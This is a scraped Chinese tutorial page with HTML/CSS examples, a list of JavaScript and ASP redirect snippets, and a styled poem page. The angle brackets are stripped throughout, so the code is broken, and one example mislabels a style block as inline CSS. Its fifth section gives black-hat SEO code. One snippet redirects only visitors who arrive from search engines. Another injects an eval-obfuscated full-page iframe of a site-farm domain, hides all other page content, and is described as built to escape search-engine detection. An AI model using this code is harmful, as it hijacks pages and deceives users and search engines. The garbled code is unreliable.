当前位置:首页 > 代码 > 正文

csshtml网页代码例子(html设计网页的代码)

admin 发布:2022-12-19 23:27 89


今天给各位分享csshtml网页代码例子的知识,其中也会对html设计网页的代码进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

本文目录一览:

设计一段html和css代码,其中至少包含三个div,分别展示三种css+引入方式?

html:

!DOCTYPE html

html

head

titleMy webpage/title

/head

body

div

h1My first div/h1

pThis div uses inline CSS to style its content./p

style

h1 {

color: red;

}

p {

font-size: 16px;

text-align: center;

}

/style

/div

div

h1My second div/h1

pThis div uses an external CSS file to style its content./p

link rel="stylesheet" type="text/css" href="styles.css"

/div

div

h1My third div/h1

pThis div uses an embedded style sheet to style its content./p

style

/* This is an embedded style sheet */

h1 {

color: blue;

}

p {

font-size: 14px;

text-align: left;

}

/style

/div

/body

/html

style.css:

/* This is an external style sheet */

h1 {

color: green;

}

p {

font-size: 18px;

text-align: right;

}

这段代码中,第一个div使用内联CSS来样式其内容,第二个div使用外部CSS文件来样式其内容,第三个div使用嵌入式样式表来样式其内容。

html+css做一个完整的可以跳转的网页

一、常规的JS页面跳转代码

1、在原来的窗体中直接跳转用

script type="text/javascript"

window.location.href="你所要跳转的页面";

/script

2、在新窗体中打开页面用:

script type="text/javascript"

window.open('你所要跳转的页面');

/script

3、JS页面跳转参数的注解

SCRIPT LANGUAGE="javascript"

!--

window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')

//写成一行

--

/SCRIPT

参数解释:

SCRIPT LANGUAGE="javascript" js脚本开始;

window.open 弹出新窗口的命令;

'page.html' 弹出窗口的文件名;

'newwindow' 弹出窗口的名字(不是文件名),非必须,可用空'代替;

height=100 窗口高度;

width=500 窗口宽度;

top=0 窗口距离屏幕上方的象素值;

left=0 窗口距离屏幕左侧的象素值。

二、跳转指定页面的JS代码

第1种:

script language="javascript" type="text/javascript"

window.location.href="login.jsp?backurl="+window.location.href;

/script

第2种:

script language="javascript"

alert("返回");

window.history.back(-1);

/script

第3种:

script language="javascript"

window.navigate("top.jsp");

/script

第4种:

script language="JavaScript"

self.location=’top.htm’;

/script

第5种:

script language="javascript"

alert("非法访问!");

top.location=’xx.jsp’;

/script

三、页面停留指定时间再跳转(如3秒)

script type="text/javascript"

function jumurl(){

window.location.href = '';

}

setTimeout(jumurl,3000);

/script

四、根据访客来源跳转的JS代码

1、JS判断来路代码

此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:

script LANGUAGE="Javascript"

var s=document.referrer

if(s.indexOf("google")0 || s.indexOf("baidu")0 || s.indexOf("yahoo")0 )

location.href="";

/script

2、JS直接跳转代码

script LANGUAGE="Javascript"

location.href="";

/script

3、ASP跳转代码判断来路

%

if instr(Request.ServerVariables("http_referer"),"")0 then

response.redirect("")

end if

%

4、ASP直接跳转的

%

response.redirect("")

%

五、广告与网站页面一起的JS代码

1、上面是广告下面是站群的代码

document.writeln("iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=;/iframe");

2、全部覆盖的代码

document.write("/iframeiframe src='' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'");

3、混淆防止搜索引擎被查的js调用

具体的展示上面是广告下面是站群的代码:

var ss = 'center id="showcloneshengxiaon"ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"/iframe/center';

eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");

try{

setInterval(function(){

try{

document.getElementById("div"+"All").style.display="no"+"ne";

}catch(e){}

for(var i=0;idocument.body.children.length;i++){

try{

var tagname = document.body.children[i].tagName;

var myid = document.body.children[i].id;

if(myid!="iconDiv1" myid!="showcloneshengxiaon"){

// if(tagname!="center"){

document.body.children[i].style.display="non"+"e";

//}

}

}catch(e){}

}

},100);

}catch(e){}

六、页面跳出框架

script type="text/javascript"

top.location.href='';

/script

七、返回上一页

script type="text/javascript"

window.history.back(-1);

/script

用html和css做一个网页?

1,打开记事本,并在其中输入必要信息,完整代码如下:

!DOCTYPE htmlhtmlhead meta charset="utf-8" title/title

bodyheaderimg src="molihua.jpg"width="412" height="291"/header article header h2茉莉花/h2 p作者:宋 · 刘克庄 /p /header hr/ p曾与瑶姬约。恍相逢、翠裳摇曳,珠韝联络。风露青冥非人世,揽结玉龙骖鹤。

爱万朵、千条纤弱。

祷祝花神怜惜取,问开时、晴雨须斟酌。枝上雪,莫消却。

恼人匹似中狂药。

凭危栏、烛光交映,乐声遥作。身上春衫香薰透,看到参横月落。

算茉莉、犹低一著。坐有缑山王郎子,倚玉箫、度曲难为酢。君不饮,铸成错。/ph3清平乐/h3p冰轮万里。云卷天如洗。先向海山生大士。却诞卯金之子。冰盆荔子堪尝。胆瓶茉莉尤香。震旦人人炎热,补陀夜夜清凉。/pdldt《浣溪沙》/dtdd南国幽花比并香。直从初夏到秋凉/dddt《鹧鸪天》/dtdd携靓侣,泛轻航。棹歌惊起野鸳鸯/dddt《真珠帘》/dtdd茉莉芰荷香,拍满笙箫院。/dd

/dl/article footer2019.9.6/footer /body/html

启动浏览器运行后,大家会发现界面并不美观,文字看着也比较乱。

为了解决这个问题,可以在界面添加css规则,让界面更好看,更标准化,将下面的代码块添加到记事本中,位置在head和head/也就是头部之间:

style type="text/css"body{ background:gray;} h2{ text-align:center;} header{ text-align:center; } article p{ text-indent:2em; } footer{ font-size:12px; font-align:center; } /style

关于csshtml网页代码例子和html设计网页的代码的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。

版权说明:如非注明,本站文章均为 AH站长 原创,转载请注明出处和附带本文链接;

本文地址:http://ahzz.com.cn/post/30135.html


取消回复欢迎 发表评论:

分享到

温馨提示

下载成功了么?或者链接失效了?

联系我们反馈

立即下载